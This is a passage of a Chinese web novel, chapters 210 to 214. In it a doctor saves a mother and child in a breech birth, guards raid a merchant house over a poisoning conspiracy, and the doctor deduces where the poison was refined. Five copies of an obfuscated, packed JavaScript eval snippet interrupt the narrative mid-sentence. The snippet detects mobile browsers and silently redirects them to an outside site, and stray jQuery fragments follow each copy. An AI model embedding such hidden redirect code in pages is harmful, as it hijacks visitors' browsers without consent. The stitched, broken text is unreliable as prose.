第210章大出血!难产!!
日子像流水淌过,撕心裂肺的悲痛也随着时间而冲淡印记。
转眼入冬,寒气一天重过一天,但小青村的这间医馆却暖如阳春。
马淳绝不会在妻儿身上吝啬。
他花了两千积分兑换的系统发挥了作用,崭新的“暖风”顺着埋在墙里的铜管丝丝涌出。
暖而不燥,将深秋初冬的凛冽彻底隔绝在外。
徐妙云裹着一件软绒的夹袄,坐在窗边的摇椅里。
阳光碎成温暖的光斑落在她身上。
她手中是一件半成的婴儿小袄,针脚细密匀称。
凸起的小腹在绒衣下显出柔和的弧度,她偶尔抬眼,目光温柔地落在诊案后的丈夫身上,安静满足。
马淳刚送走一个拿药的病人。
被暖气一烘,格外宁神。
门外传来急促的“咣当”声响,紧接着是车马剧烈勒停的嘶鸣。
“马兄!嫂子!救命啊!!”傅忠炸雷般的吼叫撞破了这份宁静。
门帘被他撞得几乎飞起来,他像一头惊慌失措的蛮牛直冲进来。
“怎么了?”马淳放下笔。
徐妙云也立刻起身。
两人心知傅忠这副天塌了的样子必是大事。
傅忠冲到近前,脸上的汗珠子滚滚而下。
棉袍子都湿了一片领子,他喘得胸脯剧烈起伏。
眼珠子瞪得快凸出来,“是我家婆娘!胡氏!要……要生了!稳婆在里头吼……说是……说是脚先出来了!”
傅忠的声音带着哭腔和极度的恐惧。
“卡住!孩子卡住出不来了!流了好多……好多血!稳婆说怕……怕是……怕是都要保不住啊!马兄!嫂子!求求你们!救救她们娘俩!”
他扑通一声。
竟直挺挺要往地上跪去,膝盖砸地的声音听得人心头发颤。
马淳一步抢上将他架住,“稳住!别乱!现在不是跪的时候!”
“妙云!”
徐妙云早已放下针线,“知道!”
她语速飞快,“小六!把西边柜子最上层锁着的那个红漆木药箱拿来!钥匙在案头第三个抽屉!”
她一边快步走向存放药材的里间。
“是!师娘!”小六像个灵猴一样蹦起来。
冲向药柜。
马淳则一把扣住傅忠依旧抖得筛糠般的手臂。
“傅忠!听清!现在,立刻你马上赶车回府!我们随后就到!通知府里,准备大量开水!干净的布巾要煮过!越多越好!”
“稳婆若能保持住产妇力气,就让她继续安抚!若不能,就先稳住情况等我们!明白了吗?”
“明……明白!”
“小六!快!”马淳看向抱着沉重药箱跑来的小六。
“是!师傅!”小六脸都挣红了。
“妙云!准备好了?”
“好了!”徐妙云提着一个小巧却鼓鼓囊囊的羊皮袋出来,里面都是急救备用的药材工具。
马淳不再多言,拉起徐妙云的手腕。“走!”
夫妻二人疾步冲出温暖的医馆。
傅忠的马车疯了一般窜出小青村,扬起漫天尘土。
小六也套好了车,马淳和徐妙云坐上马车,小六赶着马车快速向着颖国公府而去。
……
颖国公府内一片死寂般的混乱。
仆役们端着热水盆在廊下惊慌跑动。
稳婆嘶哑的喊叫从内室断断续续传出。
“……夫人!用力啊!……哎呀!又缩回去了!这可怎么好……”
浓浓的、令人作呕的血腥味。
混杂着炭火气,弥漫在整座院落。
傅忠跳下马车时几乎栽倒。
他踉跄着往里冲。
“来了!马兄来了!嫂子来了!”
小六赶着马车也随之停下。
马淳扶着徐妙云下车,脚步沉稳而迅疾。
直接越过惊慌的管家,对两个看起来强壮有力的仆妇下令:“你们两个!立刻去把内室所有窗户打开半扇通风!人太多碍事的都出去!留两个手脚麻利的!快!”
仆妇下意识应声行动。
混乱有了主心骨。微微有序。
马淳转向傅忠。“带路!”
内室的门“哗啦”被推开。
更浓郁的血气扑面而来,呛得人窒息。
一个干瘦的稳婆满手是血,正徒劳地想去推挤胡氏已然脱力的大腿内侧。
胡氏躺在血泊般的被褥上,脸色灰败,嘴唇干裂得爆皮,头发被汗水泪水黏在脸上颈间。
双目半睁,眼神涣散,嘴里发出无意识的细弱呻吟。
身下的血……触目惊心,仍在不断蔓延开深红的印记。
“孩子……孩子的腿……半天了……”
稳婆看到马淳进来,如见救星,声音抖得不成样子。
马淳几步抢到床前,无视浓重血气,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018203|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
左手迅速在胡氏隆高的腹部几个关键位置快速按、摸、探。
动作精准而沉稳。
右手已探向她的腕脉,凝神不过三息,眉头骤然锁紧。
“胎位臀位足先露,宫缩乏力,血崩前兆。”他语速极快地对紧跟着探身的徐妙云说。
“催产药!现配来得及吗?”徐妙云一边迅速打开带来的急救羊皮袋,一边看向马淳,同时从袋里抽出一排闪亮的银针。
“来不及!先用针!”马淳沉声道。“稳住她心脉神门、内关,针后溪、至阴、昆仑穴!我先正胎位!”
徐妙云没有丝毫犹豫,银针在她纤细的指尖跳跃,如同有了生命。
神门、内关精准刺入。
捻动如飞,行云流水。
接着是足部的后溪、至阴、昆仑穴。
稳婆看得呆若木鸡,只见那几枚针下去,胡氏原本微弱断续的呻吟忽地提了几分,紧蹙的眉头似乎松开了一丝丝。
就在徐妙云施针的瞬间。
马淳沾满烈酒的双手已重新覆上胡氏高高隆起的腹部,十指如鹰爪,却带着一种奇异的力量和控制。
左旋,右旋,力度时深时浅。
掌心巧妙地感受着宫底肌群的每一次细微颤动。
引导着那被阻隔的小生命顺应产道,慢慢地旋转……
他的额头渗出细密的汗珠,紧盯着手下每一次微小的位移改变。
半炷香!
漫长如一个世纪的半炷香!
胡氏喉咙里猛地爆出一声凄厉的痛呼。
充满了生的力量!
“啊——!”
“头!头!头出来了!”稳婆发出一声变调的尖叫。
充满了难以置信的狂喜。
马淳眼神一厉,手上力道骤然改变,由旋转变为向下沉稳的滑压。
“托住颈!”他暴喝,同时低喝,“剪!”
徐妙云手中的消过毒的剪子如一道闪电递到稳婆眼前。
稳婆几乎是抢过来,“咔嚓”一声轻响,应声而落。
马淳沉稳滑压的动作配合着徐妙云再次快速捻动的针。
一股带着羊水和淡淡血色的暖流涌出。
随即,一声微弱却清晰嘹亮的啼哭,刺破了满室令人窒息的血腥和绝望!
“哇——!”
新的生命!
降临了!
响亮的啼哭在弥漫着血腥气的产房里显得尤为震撼有力。
第211章从死神手上硬生生将母子抢回来
徐妙云紧绷的肩膀瞬间松垮下来。
手抖得几乎拿不住银针。
她飞快地在产妇耳周几个穴位连点数下。
最后将一根稍粗的毫针稳而准地刺入头顶“百会穴”。
指下的捻动柔和绵长。
胡氏因剧痛和脱力而过度散乱的神气被强行收束回拢。
那原本灰败至极、死气弥漫的脸上,竟奇迹般地透出了一丝微弱红晕。
半睁的眸子艰难地转动着,似乎在寻找那啼哭的来源。
稳婆手忙脚乱地处理好脐带,将包裹好的小婴儿抱过来。
带着劫后余生的狂喜。
“傅爷!傅家娘子!是个大胖小子!母子平安!平安啊!”
傅友德和傅忠父子二人站在门边,像两根柱子。
此刻听到“母子平安”四个字。
傅忠像被抽了所有骨头,高大的身躯“咚”一声,整个人直挺挺地就滑坐在地上,额头重重撞在冰冷坚硬的门框上。
发出一声闷响,他却浑然不觉。
布满血丝的双眼死死盯着稳婆怀里那皱巴巴、哇哇哭的小东西。
傅友德看着自己的嫡长孙,也是乐得眉眼都开了。
他盼孙子可是盼了好几年,一开始总在为傅忠这个混蛋不争气而操劳。
后来遇到了马淳这才解决了他不能人道的毛病。
可接下来就碰上了寺庙那帮秃驴,搞得小产。
而今好不容易要生了,又遇上难产。
老傅家的这个孙子可真是多灾多难,如今终于算是顺利生出来了,他悬着的心也落了下来。
看到儿子傅忠一脸迷茫的样子,他气不打一处来,一脚踩在了儿子的屁股上:“傻小子,这是你儿子还不快去看看!”
傅忠这才缓过神来赶紧把襁褓中的孩子抱过来。
小家伙浑身还通红,小眼睛好像被黏在了一块,刚从母体里出来还不适应黑暗所以没有睁开眼睛。
“我的儿啊……这是我的儿子……”
他看向了傅友德,“爹!你看这是我的儿子!”
“知道是你的儿子,来老夫也要抱抱孙子!”傅友德见傅忠已经抱过了,赶紧接过来。
马淳长舒一口气,没顾得上擦汗,眼神示意徐妙云。
徐妙云立刻上前,利落地清理残留**并检查确认,动作干净利落,没有丝毫滞涩。
随后又取出带来的药粉,熟练地撒在胡氏下身的撕裂处,止血生肌,一切处理得有条不紊。
“瘀露不多。脉象虽弱但已归位,暂时无性命之忧。”马淳放下胡氏的手腕。
马淳仔细检查完胡氏的情况,确认暂时无虞。
他转身,对刚把孩子交给父亲傅友德,此刻正红着眼睛凑到床边看妻子的傅忠沉声说道:
“好好照看着她,今晚是关键,若有丝毫发热或大出血,立刻通知我。”
傅忠用力点头,脑袋点得像捣蒜。
马淳指向桌上留下的几个油纸小包,“妙云配的止血药粉和固元药汤,按上面写的时辰方法服用,这一个月让她静养,切忌劳累动气。”
傅忠搓着手,激动得有些语无伦次,“是是是!马兄!嫂子!大恩大德啊!我傅忠……我……”
他看着妻子虽然虚弱但安稳的睡容,再想想差点失去的一切,巨大的感激和后怕涌上心头,膝盖一弯,又想往地上跪。“我给您二位磕头!”
马淳眼疾手快,一把扶住他的胳膊,“行了!折腾半宿了,先顾着你妻儿,这些虚礼免了。”
傅友德抱着襁褓里的孙子走过来。
小孙子睡着了,小脸皱巴巴,但呼吸平稳。
老国公脸上是压不住的喜悦和郑重。
他腾出一只手,紧紧握住马淳的手腕,“国公爷!大恩不言谢!今日若不是你们夫妇……我傅家这根苗……”
他看了眼儿子,再看看刚捡回条命的儿媳。
最后目光落回宝贝孙子身上,话没说完,意思全在里面了。
救命之恩,更是救了他们傅家的根苗传承。
马淳微微一笑,神色平和,“国公爷言重了,这都是医者本分。”
傅友德用力握了握马淳的手,这才松开。
另一边。徐妙云已经仔细净了手。
温热的皂角水和清水洗去了血迹和疲惫。
她正有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018204|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
条不紊地收拾着散落的器械、银针、药瓶。
将它们一一放回羊皮袋和小木箱。
马淳走过来,拿起一块布巾给徐妙云擦汗。
夫妻俩的目光在半空短暂交汇,没有过多的言语,彼此的眼中都映着对方的身影。
这半宿的生死搏斗耗尽了心神,但更多的,是一种沉甸甸的安稳。
在死神镰刀下成功抢回两条鲜活生命的安稳。
这份沉重感,唯有共同经历的人才懂。
“走吧。”马淳轻声道。
徐妙云拎起收拾好的箱袋,点点头。
两人告别了千恩万谢的傅家父子。
走出暖烘烘、弥漫着血腥气与新生气息的内室。
国公府为他们换好了马车。
来时傅忠那辆赶得几乎散架的马车不见了,取而代之的是一辆更宽大、更结实的暖厢。
车壁厚实,内里包着暖绒,显然是国公府主人的规格。
傅忠亲自提着灯笼相送,“马兄,嫂子,路上小心!改日我一定登门重谢!”
“傅兄安心在家照看就是。”马淳点头应下。
他和徐妙云先后登上温暖的马车。
车帘放下,隔绝了外面的寒气。
车厢里暖炉烧得正旺。
热烘烘的气息温柔地包裹上来,驱散着冰冷。
车子稳稳地驶动起来。
徐妙云几乎是立刻卸下了支撑半宿的力气。
她轻轻呼出一口气,放松身体,自然而然地,将头靠在马淳结实的肩头,闭目养神。
紧绷的心弦终于松弛,疲惫感如同潮水般从四肢百骸深处涌上来。
马淳没有动,手臂抬起,极其自然地绕过她的后背,手掌落在她因怀孕而略显沉重的腰身上。
那里因长时间站立、施针而有些发僵。
徐妙云没说话,只是将头在他肩窝处埋得更深了些。
车厢外,是京城深冬寒冷的夜。
寒风呼啸,掠过空旷的街道。
车厢内,暖意融融。
只有夫妻俩轻微的呼吸声交织。
马淳低头,看着妻子闭目养神的侧脸,他低语,“没事了。”
……
第212章你们能烧死王家人,我们也能……
马车平稳行驶在返回小青村的路上。
车厢内暖意融融,与车外的肃杀仿佛两个世界。
徐妙云疲惫地靠在马淳肩头,气息渐匀。
突然,一串急促沉重的马蹄声由远及近,打破了夜的宁静,贴着他们的马车疾驰而过,奔向应天城中那片权贵**的深宅大院。
马淳骤然睁开眼。
徐妙云也抬起头,睡意全消。
“是奔城内去的。”她轻声道。
马淳默默将妻子揽得更紧了些。
“天,要变了。”他只说了这几个字。
……
与此同时,泉州巨富汪府。
深宅大院,高墙隔绝外世,此刻却被肃杀之气笼罩。
火把猎猎燃烧,噼啪作响,将汪府朱漆大门映得如同沾满鲜血。
空气中弥漫着无形的硝烟味。
上百名身着赤红色飞鱼服、腰佩绣春刀的锦衣卫,如同无声的赤潮,将这座巍峨府邸围得水泄不通。
门楼上、墙垣后,**手引弦待发。
府内死寂。
府门在两名锦衣卫力士的踹击下轰然洞开。
一名面容冷峻的锦衣卫千户,按着腰间绣春刀刀柄,大步踏入。
他的目光扫过闻声聚拢、面无人色的汪家众人。
最终,定格在正厅前那个强作镇定的老者——汪英龙身上。
“汪英龙!”千户的声音带着山岳般的威压,“朝廷有令,汪家上下,即刻收押,查抄一切!”
汪英龙身体晃了晃,脸色惨白如纸。
他猛地吸一口气,努力挺直佝偻的脊背,声音带着商人特有的圆滑:
“这位……这位大人,何故如此?我汪家奉公守法,经营有度,乃朝廷钦点贡商,手中尚有朝廷亲发的海贸‘勘合文书’,年年为内帑进献,为大军输粮解饷,忠心可鉴,天地可表啊!”
他从袖中抖出一份烫金的文书,高举过头,仿佛那是他的护身符。
“还请大人明察!莫听小人谗言,坏我汪家清誉!”
他身后,汪家子弟仆役眼中燃起一丝微弱的希望。
千户闻言,冷笑。
“奉公守法?忠心可表?”他一步步向前逼近,“汪大员外,你演得可真像那么回事。”
他在汪英龙面前站定,居高临下地俯视着对方因恐惧而微微抽搐的面颊。
“松江府王家,阖家数十口,一夜之间葬身火海。据说是‘举家**’,衙门都结了案。”
“可这事,你汪大员外……真的心里没数吗?”
轰!汪英龙只觉得耳边一声巨响,眼前发黑,手中高举的“勘合文书”啪嗒一声掉落在地。
“大人……王……王家的事,草民……草民实在不知!坊间流言,岂能当真?”他声音发颤,还想垂死挣扎。
“不知?”千户嗤笑一声,眼中杀机毕露。
他的手猛地一挥。
身后立刻有两名锦衣卫走上前,将一只沉甸甸的、烧得扭曲变形,但底部花纹尚能辨别的锡盒,“咣当”一声扔在汪英龙脚边。
锡盒底部,那个火焰环绕的“汪”字徽记,在火光下显得格外狰狞刺眼。
“这玩意儿,眼熟吗?”
汪英龙目光触及那锡盒上的徽记,如同见了鬼魅,浑身剧烈一颤,几乎瘫软在地。
千户声音冰冷地砸下:“汪英龙!你灭人王家满门时,那手段可是干净利落得很呐!”
“一把大火,烧得干干净净,以为就能抹掉所有罪证,保你汪家富贵万年?”
“现在轮到你们了!”
“告诉本官,这汪家的徽记盒子,是怎么流进东宫,送去给那位吕娘娘的?”
“说!你与那海上黑市,‘天泽兴隆’栈是何勾连?”
“说!那毒杀太子妃、暗害皇长孙、连有孕的魏国公长女都要下手,掺了‘温玉散’的血燕昆仑鲍,是不是你汪家经手?”
千户每问一句,语气便森寒一分。
那气势,如同无形的巨山,压向汪英龙。
汪英龙被一连串致命指控击垮了心神。
他最后的侥幸心理被彻底碾碎。
他双膝一软,瘫跪在地,涕泪横流,声音嘶哑绝望,再无半分巨贾的气势。
“完了……全完了……”
“知道晚了?”千户冷笑道,“那就老老实实,把你那颗烂透了的心,全掏出来晒晒!”
“那些你烂在肚子里的腌臜事,吐出来!”
千户俯身,目光森然。
“现在说,”他一字
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16022050|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一顿,“或许,还有转圜。你的血脉,还能给老汪家,留几颗活命的种!”
“若是你嘴比骨头硬,松江王家那场‘天火’,他们一家人烤熟了挤在一处的模样,就是你汪家老小眼前的路!”
“灭门!”
两个字,如同巨石轰然落下。
汪英龙猛地一哆嗦,他终于明白,在绝对的力量面前,任何财富积累的堡垒都是纸糊的假象。
锦衣卫深夜合围,证据直指命门,绝无虚假!
他挣扎着想抬起头,那往日高高在上的头颅却像被灌了铅,沉重得再也抬不起半分。
“说……”千
“是……小的这就说……全说……”汪应龙终于绝望,“大人明鉴……小的是做海贸的,汪家自前元末年,就在这泉州港讨生活……几十年……几十年根基啊……大人……”
“根基?”千户毫不留情,“这根基是用**垒的吧?说人话!”
汪英龙被打断,嗫嚅着:“南洋……南洋那些岛子,有生意往来……几十年,认识的各路头面人物不少……他们有路子弄到中原根本听都没听过的东西……药材、香料……还有些上不得台面的……‘玩意儿’……”
他提到“玩意儿”时,声音抖得厉害。
“温玉散呢?”千户精准地切入要害,“那东西,就是你汪家弄来的‘稀罕玩意儿’?”
汪英龙浑身剧烈一颤。
“那……那个方子……”他艰难地喘息着,“小的……小的真的不知道是哪个神仙弄出来的!大人明察!小的只管送东西,那些个稀奇古怪的药引,我们只是按单子收货出货……一手交钱,一手交货……至于它最后配成什么……用来干什么……小的、小的只当是寻常……寻常秘药罢了……”
“寻常秘药?”千户嗤笑一声,带着嘲讽,“‘天泽兴隆栈’的木料专供吕氏浸泡毒物,那锡盒底的花押你汪家独一份!松江王家全家灭口变成焦炭,也是寻常买卖?汪大员外,你这‘寻常’两字,染了多少贵人的血!”
汪英龙身体剧烈一震,彻底瘫倒下去,只剩下本能的辩驳:“王家……王家那事!大人!那……那不是我们汪家一家能做的主啊!”
……
第213章朱元璋:看起来要杀很多人!
“哦?”千户眼神一厉,“不是一家?那是几家?还有谁?同路人?哪些人,与汪家同在一船?!”
汪英龙像被无形的巨手扼住了喉咙,他最后挣扎着抬起了点头。
“他们……他们……”
汪英龙喉头滚动,吐,或许真能留一线血脉生机?
他眼神扫过不远处惊恐万状的儿孙女眷,老妻几乎昏死过去。
牙关猛地一咬,终于泄洪般开口:“没有谁是大龙头!大人!没有!这不是一家独大的买卖!”
他语速急迫起来,“是船帮!大人知道吗?海上的大船!一艘船跑南洋,风高浪急,要吃这碗跑海路的饭,靠的就是人多结伙!”
“大家抱团!几代人下来,谁家没点压箱底的绝活门道?谁家没有几条外人伸不进手的密线?一家出事,别家立刻就能堵上窟窿!小的一家就是靠这‘通海记’的招牌吃饭!可没了其他几位搭伙的同仁,汪家……汪家在泉州,寸步都难行!”
千户哈哈一笑,“同仁?好一个同仁!说说看,到底是哪些‘同仁’?他们叫什么?船叫什么?”
汪英龙喘息着,“是……昌隆远洋!”
他吐出一个名字。
“海门帮陈家的船!”他又吐出一个。
“万家……万通宝号!”
第三个名字出口,似乎让他更加艰难。
“福泰……福泰船行!”
第四个,声音愈发低微。
终于,他像被抽掉了最后一根骨头,低下头,吐出了最关键的第五个名字:
“……以及……以及松江……王家……的‘天泽兴隆栈’。”
汪英龙说完,整个人彻底软了下去,像一滩毫无骨头的烂泥,瘫在地上大口喘着粗气。
千户的嘴角缓缓扯开一丝弧度。
“陈昌隆、沈万通、赵福泰、王家……哦,王家已成鬼。”他复述着这几个名号,“还有你这‘通海记’,汪掌柜。一条船上的‘同仁’,都齐了。”
“汪大员外,‘同仁’名录,说完了?”
汪英龙瘫在冰冷的地上,“小……小的……所知……都……都在此……大人……”
千户缓缓转身,无需再多看汪英龙一眼。
“拿下!”
“是!”
蓄势已久的锦衣卫赤潮轰然爆发!
动作迅猛如电,配合无间!
眨眼间,主宅内所有汪家核心人物,包括昏迷不醒的汪英龙在内,颈后瞬间被狠狠压住!
随即被反剪双手,干脆利落地绑上拇指粗的麻绳!
几个试图挣扎的汪家护院还没抽出兵器,就被如狼似虎的锦衣卫数把长刀交错逼住颈嗓咽喉!
膝盖弯处被重靴狠狠踹中!
惨嚎着重重跪倒,再无反抗之力!
一个个面无人色、步履蹒跚的汪家男女老少,在押送下拖着沉重的锁链走向敞开大门,如同被驱赶的牲畜。
“走!”
“快走!”
……
冬夜,应天府,皇城。
锦衣卫指挥使蒋瓛勒马宫门前,他卸下佩刀交给守将,穿过漫长宫道。
御书房灯火通明,炭盆烧得噼啪作响。
朱元璋靠在蟠龙椅上闭目养神。
听见脚步声,眼皮都没抬。
蒋瓛跪地,“臣,复命。”
朱元璋终于睁开眼,“泉州……如何?”
蒋瓛从怀中掏出一卷染尘的绢帛,双手奉上,“汪家一百七十三口已押入诏狱。”
“松江王家灭门案,是汪英龙的手笔。”
朱元璋展开绢帛。
火光跳在墨字上——昌隆远洋、海门帮、万通宝号、福泰船行。
末尾“天泽兴隆栈”被朱笔划去。
“就这些?”皇帝声音听不出喜怒。
“汪英龙全招了。”蒋瓛抬头,“他喊冤,说只负责运货。”
朱元璋指尖敲在最后一个名字上,“陈昌隆、沈万通、赵福泰……”
“跑船的,卖瓷器的,开钱庄的,倒是一船好杂碎。”
“汪英龙有句话,臣觉得蹊跷。”
“说。”
“他喊‘我们只是前面唱戏的’。”
朱元璋敲击的手指停了,“哦?”
“臣反复逼问。”蒋瓛道:“他咬死不知药方来源,只知道南洋有人定期供货。”
朱元璋眼中寒芒乍现,“唱戏的……”
他慢慢卷起绢帛,“你觉得,戏台子后面站着谁?”
蒋瓛伏得更低,“这……臣暂时不知,但臣
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16022051|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
以为当分两头。”
“说说!”朱元璋道。
“第一,药方为根,能配出温玉散的必是杏林绝顶高手,臣请徐国公协查。”
朱元璋“嗯”了一声,“马淳懂毒,让他挖!”
蒋瓛继续道:“第二,名单上的人必须抓,他们掌管走私命脉,货物进出、银钱流向、接头暗桩,撬开任何一人的嘴,都可能揪出大买卖人!”
朱元璋起身,“抓!”
一个字砸在地上。
“名单上的,一个不准漏,但要活的,朕要亲眼看他们开口。”
蒋瓛重重叩首:“遵旨!”
朱元璋望向窗外黑夜,“戏台……”
他嗤笑一声,“台前越是热闹,台后的影子……藏得越深,看来得杀很多人!!”
……
夜深。
小青村医馆后院唯一亮灯的东厢房。
徐妙云已在里屋歇息,马淳独自坐在油灯下。
桌上摊开放着一小撮赤褐色的粉末。
细如尘,几乎看不见。
粉末旁放着几个白瓷碟。
碟里有不同浸泡过的、晾干的药植残渣。
还有几张写满小字的纸。
空气中若有若无飘着微弱的甜腥,混杂着淡淡奇木香和浓重的药味。
门被轻轻叩响,三长两短。
马淳没有回头,“门没闩。”
门吱呀推开,蒋瓛高大的身影无声闪入,眼神扫过桌面落在那一小撮赤色粉末上。
“还在摆弄这玩意?”他轻声道。
马淳没停手,他用特制的银签子,极小心地挑起一点粉末,对着太阳能白炽灯灯仔细看。
粉末在光下折射出极细微的油润光泽。
“不弄明白它,就摸不清后面的人藏得有多深。”
“汪家,”蒋瓛走近桌边,“只是一层皮。剥开了,油是油,水是水。”
他拉过一张凳子,坐下,“骨头里的水,浑着呢。陛下让我带句话给你。”
马淳终于放下银签,抬眼,“哦?”
蒋瓛道,“陛下说,你说的没错温玉散这种东西能配出来的,两只手能数过来,你想过怎么从这根线上,把这根丝再往深里拽一拽没有?”
他说得很直白没绕弯子……
第214章马淳果然是天才!!
马淳沉默了一下,没立刻回答。
他伸手,从桌下一只不起眼的柳条箱里,取出一只褪色的粗布小包。
打开布包,里面是几片深褐色、薄如纸的东西。
看着像树皮碎块,还有几块乌黑发亮的、小小的块茎,以及一小撮干枯发黄的根须,都皱巴巴的。
蒋瓛眼神一凝:“新料?”
“不是。”马淳摇头。“这是我这些日子跑遍江宁、镇江几家老字号药行,从库底翻出来的存货,有些放了十几年,跟废料堆在一起。”
“它们?”蒋瓛皱眉看那不起眼的东西。
“它们有个共同点。”马淳拿起一块黑色块茎,嗅了嗅。“都来自海外番邦,都在记录上叫过黄樟根,或者类似的土名。这些老药行几十年的老掌柜也记不清了。”
他放下块茎。
拿起桌上那张写满字的纸,推到蒋瓛面前。
纸上是两种截然不同的记录笔迹。
一种工整清晰,一种潦草随意。
“左边是洪武九年太医院库档,贡品黄樟根油记录,三十斤,标明产地天竺贡道。”
“右边是我托李景隆找到的宁波市舶司卷宗,同一时期从南洋来的海船上,清出的药材清单,里面记了一样叫‘桐香根’的货,十五斤。”
“被当做药材废料扣下罚没了。经办小吏随手记了一笔。”
“桐香根。”蒋瓛重复。
“对。”马淳指指纸,“我比对过气味,又找熟悉南洋山货的老行商闻过。桐香根、黄樟根,当地人都那么叫,就是同一种东西,源头在海外。”
马淳指着桌上的粉末,“汪英龙说那‘温玉散’药引子里的甜腥味,主要就来自这个黄樟根油。”
“他收的货是散装油膏,得提炼,要配出能融入滋补品里无色无味的引子,至少得经过三道极复杂的炮制。工序多,容错极低,火候差一分,气味就藏不住,药效也就跟着没了,行家里手才能稳得住。”
蒋瓛明白了:“他汪英龙就是倒买倒卖的。没这个本事。”
“嗯。”马淳拿起那片最特别的深褐色“树皮”。
样子有点像厚实的鳞片。
在灯下有种暗哑的光。
“最要紧是这个。”马淳把树皮凑近灯。让蒋瓛看仔细。
“那丝奇怪木香的真正来源,汪英龙肯定不知道这是什么,也不认识。他收东西只看钱。不看门道。”
“这东西我从一个跑南洋三十年草药贩子压箱底的存货里翻出来半两,花大价钱买来的。”
“那老头说这是南洋雨林深处一种罕见的树瘤。”
“名字他说不出,只在几个岛上少数部族巫医手里见过。”
“晒干后坚硬如石,能存很久,磨碎了泡水当迷神药或者毒蛊引子用,很邪门,也很少见,因为那树只长在几座海岛的云雾山脊顶,极其难找。”
蒋瓛盯着那片树瘤皮:“稀少。所以价格高?不容易被记录?”
马淳摇头:“恰恰相反,正因为稀少,而且只在很小的范围生长,外人很难接触到,一旦出现,痕迹就很难完全抹掉。”
“尤其是它们流进来的地方,一定有专门的门路。”
“这树瘤皮,这提炼黄樟根油的桐香根,还有可能从毒蜥肝脏里弄到的东西。”马淳点点那几片东西。“全是生在海岛上的药材,但炮制温玉散药引子的地方不可能是南洋。”
蒋瓛有些奇怪:“怎么说?”
马淳拿起一片没处理的桐香根。
又指了指桌上白瓷碟里一种浸泡过的干枯褐色小果实。
“我试了它们,照那老药贩给的土方做实验,新鲜的桐香根油浑浊刺鼻,这树瘤皮碾粉后也有股子辛辣冲脑的怪味。”
“想把它们混在一起变成无色无味,需要反复炼制、沉淀、蒸露,每次处理都要用到大量的活水过滤、澄清。”
“还要在特定的潮气环境里阴干陈化,这些工序在南洋那些湿热的海岛上做不到,或者做得出来质量也差,不够稳定。”
蒋瓛皱眉:“湿气重还不好?”
“湿气太大也不行。”马淳解释。“炼药引要控温控潮,太潮了药料发霉,太干了又不出油。”
“南洋的天气,不是连天暴雨就是燥热暴晒,起伏太大,炼出来的东西不稳定。”
“而汪家流出来的温玉散药引子,气味极淡,几乎难辨,说明炼制得很成功,很稳定。”
“这种稳定,必须在四季相对平稳、潮气常年均匀的环境里,才能保证。”
“所以……”蒋瓛身体微微前倾,“所以炮制点
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16022052|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一定在内陆。”
“在我大明疆域之内,在一个靠近大江大河、水源充沛、潮气稳定,而且方便药材转运的地方。”马淳看着蒋瓛的眼睛,一字一句,“江南鱼米之乡,水网纵横,江河湖海汇集之地。”
蒋瓛眼神越来越亮,“在江南?”
果然来找马淳是对的。
锁定了炼制的地方,就更容易揪出幕后的真凶。
“对!”马淳站起来,指着桌上那些不起眼的原料,“这些原料源头在海上,汪家那几条走私船不过就是驮货的马骡。船靠岸之后,那些**引子的炼制点,才真正让温玉散成型。”
“像王家那样专门转运的‘栈’,或许也不止松江一处,它必定离不了水,要方便接货,更要方便出货。”
